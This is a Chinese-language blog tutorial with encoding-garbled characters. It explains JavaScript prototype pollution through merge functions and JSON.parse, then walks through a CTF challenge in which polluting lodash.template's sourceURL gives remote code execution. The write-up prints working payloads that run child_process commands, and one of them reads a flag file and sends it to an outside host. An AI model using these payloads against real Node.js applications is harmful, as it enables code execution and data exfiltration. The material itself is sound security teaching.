javascript
JavaScript原型链污染攻击
前言
最近在看js的時(shí)候看到p神的一篇關(guān)于js原型鏈污染的文章,學(xué)習(xí)一下。
下面轉(zhuǎn)自p神:深入理解 JavaScript Prototype 污染攻擊
還有一篇案例關(guān)于js原型鏈污染的ctf題:從一道 CTF 題看 Node.js 的 prototype pollution attack
js特點(diǎn)
在理解攻擊方法之前先了解一下js的面向?qū)ο缶幊痰奶攸c(diǎn)。
由于js非常面向?qū)ο蟮木幊烫匦?#xff0c;js有很多神奇的操作。
在js中你可以用各種方式操作自己的對(duì)象。
prototype和__proto__用法
JavaScript中,我們?nèi)绻x一個(gè)類,需要以定義“構(gòu)造函數(shù)”的方式來定義:
function Foo() {this.bar = 1 }new Foo()
Foo函數(shù)的內(nèi)容,就是Foo類的構(gòu)造函數(shù),而this.bar就是Foo類的一個(gè)屬性。
為了簡(jiǎn)化編寫JavaScript代碼,ECMAScript 6后增加了class語法,但class其實(shí)只是一個(gè)語法糖。
一個(gè)類必然有一些方法,類似屬性this.bar,我們也可以將方法定義在構(gòu)造函數(shù)內(nèi)部:
function Foo() {this.bar = 1this.show = function() {console.log(this.bar)} }(new Foo()).show()
但這樣寫有一個(gè)問題,就是每當(dāng)我們新建一個(gè)Foo對(duì)象時(shí),this.show = function…就會(huì)執(zhí)行一次,這個(gè)show方法實(shí)際上是綁定在對(duì)象上的,而不是綁定在“類”中。
我希望在創(chuàng)建類的時(shí)候只創(chuàng)建一次show方法,這時(shí)候就則需要使用原型(prototype)了:
function Foo() {this.bar = 1 }Foo.prototype.show = function show() {console.log(this.bar) }let foo = new Foo() foo.show()我們可以認(rèn)為原型prototype是類Foo的一個(gè)屬性,而所有用Foo類實(shí)例化的對(duì)象,都將擁有這個(gè)屬性中的所有內(nèi)容,包括變量和方法。比如上圖中的foo對(duì)象,其天生就具有foo.show()方法。
在js中,所有的對(duì)象都是從各種基礎(chǔ)對(duì)象繼承下來的,所以每個(gè)對(duì)象都有他的父類,通過prototype可以直接操作修改父類的對(duì)象。
我們可以通過Foo.prototype來訪問Foo類的原型,但Foo實(shí)例化出來的對(duì)象,是不能通過prototype訪問原型的。這時(shí)候,就該__proto__登場(chǎng)了。
一個(gè)Foo類實(shí)例化出來的foo對(duì)象,可以通過foo.__proto__屬性來訪問Foo類的原型,也就是說:
foo.__proto__ == Foo.prototype
這里類Foo在實(shí)例化時(shí),便可調(diào)用prototype中的方法
所以,總結(jié)一下:
prototype是一個(gè)類的屬性,所有類對(duì)象在實(shí)例化的時(shí)候?qū)?huì)擁有prototype中的屬性和方法
一個(gè)對(duì)象(foo)的__proto__屬性,指向這個(gè)對(duì)象所在的類(Foo)的prototype屬性
JavaScript原型鏈繼承
所有類對(duì)象在實(shí)例化的時(shí)候?qū)?huì)擁有prototype中的屬性和方法,這個(gè)特性被用來實(shí)現(xiàn)JavaScript中的繼承機(jī)制。
比如:
function Father() {this.first_name = 'Donald'this.last_name = 'Trump' }function Son() {this.first_name = 'Melania' }Son.prototype = new Father()let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
Son類繼承了Father類的last_name屬性,最后輸出的是Name: Melania Trump。
總結(jié)一下,對(duì)于對(duì)象son,在調(diào)用son.last_name的時(shí)候,實(shí)際上JavaScript引擎會(huì)進(jìn)行如下操作:
在對(duì)象son中尋找last_name
如果找不到,則在son.__proto__中尋找last_name
如果仍然找不到,則繼續(xù)在son.proto.__proto__中尋找last_name
依次尋找,直到找到null結(jié)束。比如,Object.prototype的__proto__就是null
JavaScript的這個(gè)查找的機(jī)制,被運(yùn)用在面向?qū)ο蟮睦^承中,被稱作prototype繼承鏈。
以上就是最基礎(chǔ)的JavaScript面向?qū)ο缶幊?#xff0c;我們并不深入研究更細(xì)節(jié)的內(nèi)容,只要牢記以下幾點(diǎn)即可:
每個(gè)構(gòu)造函數(shù)(constructor)都有一個(gè)原型對(duì)象(prototype)
對(duì)象的__proto__屬性,指向類的原型對(duì)象prototype
JavaScript使用prototype鏈實(shí)現(xiàn)繼承機(jī)制
原型鏈污染是什么
第一章中說到,foo.__proto__指向的是Foo類的prototype。那么,如果我們修改了foo.__proto__中的值,是不是就可以修改Foo類呢?
做個(gè)簡(jiǎn)單的實(shí)驗(yàn):
// foo是一個(gè)簡(jiǎn)單的JavaScript對(duì)象 let foo = {bar: 1}// foo.bar 此時(shí)為1 console.log(foo.bar)// 修改foo的原型(即Object) foo.__proto__.bar = 2// 由于查找順序的原因,foo.bar仍然是1 console.log(foo.bar)// 此時(shí)再用Object創(chuàng)建一個(gè)空的zoo對(duì)象 let zoo = {}// 查看zoo.bar console.log(zoo.bar) 最后,雖然zoo是一個(gè)空對(duì)象{},但zoo.bar的結(jié)果居然是2:原因也顯而易見:因?yàn)榍懊嫖覀冃薷牧薴oo的原型foo.proto.bar = 2,而foo是一個(gè)Object類的實(shí)例,所以實(shí)際上是修改了Object這個(gè)類,給這個(gè)類增加了一個(gè)屬性bar,值為2。
后來,我們又用Object類創(chuàng)建了一個(gè)zoo對(duì)象let zoo = {},zoo對(duì)象自然也有一個(gè)bar屬性了。
那么,在一個(gè)應(yīng)用中,如果攻擊者控制并修改了一個(gè)對(duì)象的原型,那么將可以影響所有和這個(gè)對(duì)象來自同一個(gè)類、父祖類的對(duì)象。這種攻擊方式就是原型鏈污染。
哪些情況下原型鏈會(huì)被污染?
在實(shí)際應(yīng)用中,哪些情況下可能存在原型鏈能被攻擊者修改的情況呢?
我們思考一下,哪些情況下我們可以設(shè)置__proto__的值呢?其實(shí)找找能夠控制數(shù)組(對(duì)象)的“鍵名”的操作即可:
對(duì)象merge
對(duì)象clone(其實(shí)內(nèi)核就是將待操作的對(duì)象merge到一個(gè)空對(duì)象中)
以對(duì)象merge為例,我們想象一個(gè)簡(jiǎn)單的merge函數(shù):
在合并的過程中,存在賦值的操作target[key] = source[key],那么,這個(gè)key如果是__proto__,是不是就可以原型鏈污染呢?
我們用如下代碼實(shí)驗(yàn)一下:
let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b)o3 = {} console.log(o3.b)結(jié)果是,合并雖然成功了,但原型鏈沒有被污染:
這是因?yàn)?#xff0c;我們用JavaScript創(chuàng)建o2的過程(let o2 = {a: 1, “proto”: {b: 2}})中,__proto__已經(jīng)代表o2的原型了,此時(shí)遍歷o2的所有鍵名,你拿到的是[a, b],__proto__并不是一個(gè)key,自然也不會(huì)修改Object的原型。
那么,如何讓__proto__被認(rèn)為是一個(gè)鍵名呢?
我們將代碼改成如下:
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b)o3 = {} console.log(o3.b)可見,新建的o3對(duì)象,也存在b屬性,說明Object已經(jīng)被污染:
這是因?yàn)?#xff0c;JSON解析的情況下,__proto__會(huì)被認(rèn)為是一個(gè)真正的“鍵名”,而不代表“原型”,所以在遍歷o2的時(shí)候會(huì)存在這個(gè)鍵。
merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊,很多常見的庫(kù)都存在這個(gè)問題。
案例分析
下面是P神出的Code-Breaking 2018一道原型鏈污染的CTF題目thejs,沒環(huán)境沒法復(fù)現(xiàn),我總結(jié)下思路。
后端代碼server.js:
lodash是為了彌補(bǔ)JavaScript原生函數(shù)功能不足而提供的一個(gè)輔助功能集,其中包含字符串、數(shù)組、對(duì)象等操作。這個(gè)Web應(yīng)用中,使用了lodash提供的兩個(gè)工具:
lodash.template 一個(gè)簡(jiǎn)單的模板引擎
lodash.merge 函數(shù)或?qū)ο蟮暮喜?br /> 其實(shí)整個(gè)應(yīng)用邏輯很簡(jiǎn)單,用戶提交的信息,用merge方法合并到session里,多次提交,session里最終保存你提交的所有信息。
而這里的lodash.merge操作實(shí)際上就存在原型鏈污染漏洞。
在污染原型鏈后,相當(dāng)于可以給Object對(duì)象插入任意屬性,這個(gè)插入的屬性反應(yīng)在最后的lodash.template中。我們看到lodash.template的代碼:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
// Use a sourceURL for easier debugging. var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; // ... var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues); });options是一個(gè)對(duì)象,sourceURL取到了其options.sourceURL屬性。這個(gè)屬性原本是沒有賦值的,默認(rèn)取空字符串。
但因?yàn)樵玩溛廴?#xff0c;我們可以給所有Object對(duì)象中都插入一個(gè)sourceURL屬性。最后,這個(gè)sourceURL被拼接進(jìn)new Function的第二個(gè)參數(shù)中,造成任意代碼執(zhí)行漏洞。
我將帶有__proto__的Payload以json的形式發(fā)送給后端,因?yàn)閑xpress框架支持根據(jù)Content-Type來解析請(qǐng)求Body,這里給我們注入原型提供了很大方便:
payload:
{"__proto__": {"sourceURL": "\u000areturn e => {for (var a in {}) {delete Object.prototype{a}; } return global.process.mainModule.constructor.load('child_process').execSync('id') }\u000a/"}}原型鏈污染攻擊有個(gè)弊端,就是你一旦污染了原型鏈,除非整個(gè)程序重啟,否則所有的對(duì)象都會(huì)被污染與影響。
這將導(dǎo)致一些正常的業(yè)務(wù)出現(xiàn)bug,或者就像這道題里一樣,我的payload發(fā)出去,response里就有命令的執(zhí)行結(jié)果了。這時(shí)候其他用戶訪問這個(gè)頁面的時(shí)候就能看到這個(gè)結(jié)果,所以在CTF中就會(huì)泄露自己好不容易拿到的flag,所以需要一個(gè)for循環(huán)把Object對(duì)象里污染的原型刪掉。
flag:
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http:/vps.com/${result}`);req.end();\r\n"}}總結(jié)
以上是生活随笔為你收集整理的JavaScript原型链污染攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: iOS多线程——概念与原理
- 下一篇: 详解JS原型链与继承